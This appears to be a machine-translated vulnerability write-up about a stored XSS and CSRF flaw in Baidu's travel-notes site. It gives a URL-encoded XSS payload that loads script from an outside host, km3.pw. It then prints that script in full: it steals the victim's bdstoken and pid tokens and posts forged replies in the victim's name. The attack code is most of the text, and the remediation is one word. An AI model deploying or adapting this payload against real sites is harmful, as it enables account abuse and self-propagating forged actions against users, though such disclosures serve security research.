A sub-station stored XSS + csrf in Baidu

A sub-station stored XSS + csrf in Baidu

Today, as usual, I had nothing to do. I opened hao123 and looked for Station X. Suddenly I saw Baidu traveling and suddenly found some problems. Then my mother no longer had to worry about not replying to my post!

Illustration:
 

 

The first problem lies in Travel Notes> practical strategy
 

Enter some characters in it, click submit, and then capture the package and change the package.

Here, he will perform many verifications, so it won't work if he only modifies it once!
 

Xss is our input. Although the character is limited on the front end, there is no limit on the server to enter characters!

You can encode payload to the url and put it in!

Payload:

% 3 Cimg % 20src % 3Dx % 20 onerror % 3Ddocument. body. appendChild (createElement (% 2 Fscript % 2F. source )). src % 3 Dalt % 20alt % 3D % 2F % 2Fkm3. pw % 3E

Load the content of km3.pw/index.html!



Km3.pw content:
 

 

var bdsExp=/bdstoken" value="\w{32}/;var pidExp=/\w{24}" name="pid/;var yuanma = document.all[0].outerHTMLvar postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");function Connection(Sendtype,url,content,callback){if (window.XMLHttpRequest){var xmlhttp=new XMLHttpRequest();}else{var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4&&xmlhttp.status==200){callback(xmlhttp.responseText);}}xmlhttp.open(Sendtype,url,true);xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xmlhttp.send(content);}Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});

As long as you visit my travel notes, I will reply 0x_Jin Test under my travel notes!



Let's take a look at the effect:
 

Test URL:

Http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

Solution:

Filter